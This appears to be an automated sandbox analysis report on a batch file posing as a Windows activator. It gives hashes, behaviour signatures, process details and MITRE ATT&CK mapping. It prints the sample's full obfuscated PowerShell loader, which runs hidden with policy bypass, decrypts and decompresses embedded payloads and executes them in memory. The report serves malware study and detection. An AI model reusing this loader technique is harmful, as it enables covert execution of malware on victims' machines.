fcbc5a9373b2ae956dc3457dfc1a420874b74e8eb2608a18b4af872d081dcdf5

General

Target

windowsactivator.bat
Size

3.3MB
MD5

ad2205a76bbb0da48c8a9a08f719ab4a
SHA1

85e6141e85c8aa9fec30185e2c404e7b8eb04ecf
SHA256

fcbc5a9373b2ae956dc3457dfc1a420874b74e8eb2608a18b4af872d081dcdf5
SHA512

999da62f3b0ace84e19044671f74b68e65bb6e844ca01b466c201948e6251f98ba285a6c4a8e966de08bf3cf55f5d5cb5ac72dd111b1ce8374c8d198998448be
SSDEEP

49152:ieZhRUmd8UOahBXe2uA5l8QFsJPj93JFE/zQVsGEd9yMM:it

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2136 powershell.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exetaskmgr.exe

pid	process
2136	powershell.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

taskmgr.exe

pid process

2760 taskmgr.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exetaskmgr.exe

description pid process

Token: SeDebugPrivilege 2136 powershell.exe
Token: SeDebugPrivilege 2760 taskmgr.exe

description	pid	process
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	2760	taskmgr.exe

Suspicious use of FindShellTrayWindow 45 IoCs

Processes:

taskmgr.exe

pid	process
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe

Suspicious use of SendNotifyMessage 44 IoCs

Processes:

taskmgr.exe

pid	process
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe
2760	taskmgr.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2056 wrote to memory of 2136	2056	cmd.exe	powershell.exe
PID 2056 wrote to memory of 2136	2056	cmd.exe	powershell.exe
PID 2056 wrote to memory of 2136	2056	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2056

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/m+uM7hqICRxp6Rj0SHeKQPPt+zvIT8gCSs7+jKku8M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cfQ3peVRUENpqFR1SQzgkQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tqQsK=New-Object System.IO.MemoryStream(,$param_var); $IcUTR=New-Object System.IO.MemoryStream; $HyFSs=New-Object System.IO.Compression.GZipStream($tqQsK, [IO.Compression.CompressionMode]::Decompress); $HyFSs.CopyTo($IcUTR); $HyFSs.Dispose(); $tqQsK.Dispose(); $IcUTR.Dispose(); $IcUTR.ToArray();}function execute_function($param_var,$param2_var){ $YyUtj=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VPmsL=$YyUtj.EntryPoint; $VPmsL.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat';$brVkN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\windowsactivator.bat').Split([Environment]::NewLine);foreach ($hBggO in $brVkN) { if ($hBggO.StartsWith(':: ')) { $kvrLw=$hBggO.Substring(3); break; }}$payloads_var=[string[]]$kvrLw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2136

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2136-4-0x000007FEF5D1E000-0x000007FEF5D1F000-memory.dmp

Filesize
4KB

Download
memory/2136-5-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2136-7-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-8-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-6-0x0000000000300000-0x0000000000308000-memory.dmp

Filesize
32KB

Download
memory/2136-9-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-10-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-11-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2136-12-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-13-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2760-14-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads